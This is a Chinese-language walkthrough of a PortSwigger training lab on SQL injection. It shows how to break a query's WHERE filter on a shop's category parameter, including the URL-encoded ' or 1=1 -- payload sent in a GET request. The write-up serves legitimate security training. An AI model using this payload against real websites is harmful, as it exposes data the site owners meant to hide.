前言
作者:zkaq-杳若
突破WHERE限制的SQL子句,显示表内全部内容
Lab
:
SQL injection vulnerability
in
WHERE clause allowing retrieval of hidden data
实验前置必要知识点
一个没有安全概念的网站,会直接将用户的输入拼接到SQL语句中进行查询。
例如当用户单击“礼品”类别时,其浏览器会请求 URL:
这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息:
因此在黑盒测试中可以利用注释的方法尝试SQL
注入
实验要求
此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询:
SELECT
*
FROM products WHERE category
=
'Gifts'
AND released
=
1
若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。
渗透开始
- 访问对应靶场界面
https
:
//portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
- 启动靶场
1. 站点分析
这是购物类型的网站
存在查看商品以及优化搜索的功能
2. 寻找可疑功能点(查看Burp历史记录进行分析)
从总体来看,日志中比较可疑的两处功能点
在控制台输入时间查询,确认时间是可查询的
console
.
log
(
new
Date
());
VM27
:
1
Tue
Aug
08
2023
17
:
56
:
11
GMT
+
0800
(中国标准时间)
console
.
log
(
new
Date
());
VM31
:
1
Tue
Aug
08
2023
17
:
56
:
12
GMT
+
0800
(中国标准时间)
3. 功能点测试
将对应的日志信息发送到重放模块,首先是productId=6
推测通过查询Id
,系统会访问后端数据库提取Id
为6的内容并回显到前端
# 例如从所有表中查询对应Id为6的内容并回显
SELECT
*
FROM products WHERE producId
=
6
尝试添加一个'
使其应用错误响应,发现提示"Invalid product ID"
再次尝试发现似乎不行,因为查询的是数字,可能限定为整数型
也有可能页面的内容不需要改变,不存在SQL
注入
4.寻找其他功能点
接下来测试优化标签的功能点
根据提示,似乎是这处
SELECT
*
FROM products WHERE category
=
'Accessories'
AND released
=
1
可控区域在
SELECT
*
FROM products WHERE category
=
'{用户输入处}'
AND released
=
1
实验要求是请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息,本质上应该是去掉WHERE
的限制
首先尝试让SQL
语句进行报错,通常我们可以尝试输入'
SELECT
*
FROM products WHERE category
=
''' AND released = 1
很直观的发现服务器回显了500
大概率是SQL
语句报错产生
尝试构造Ture
的语法并且注释掉released = 1
首先闭合SQL
语句,并且注释掉后面的内容
SELECT
*
FROM products WHERE category
=
'{'
or
1
=
1
--
q
}
' AND released = 1
SELECT * FROM products WHERE category = '' or 1=1 -- q'
AND released
=
1
因为是在GET
传参,所以空格需要进行编码成%20
GET
/
filter
?
category
=
Accessories
'%20or%201=1%20--%20q HTTP/2
5.完成实验
这样总体的SQL
语句就会变成只要是在products
表中的内容都会显示
SELECT
*
FROM products WHERE
True
发现确实将输入执行成了SQL
注入,成功完成了实验
原文始发于微信公众号(零信任攻防实验室):SQL注入之突破WHERE限制的SQL子句,显示表内全部内容
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论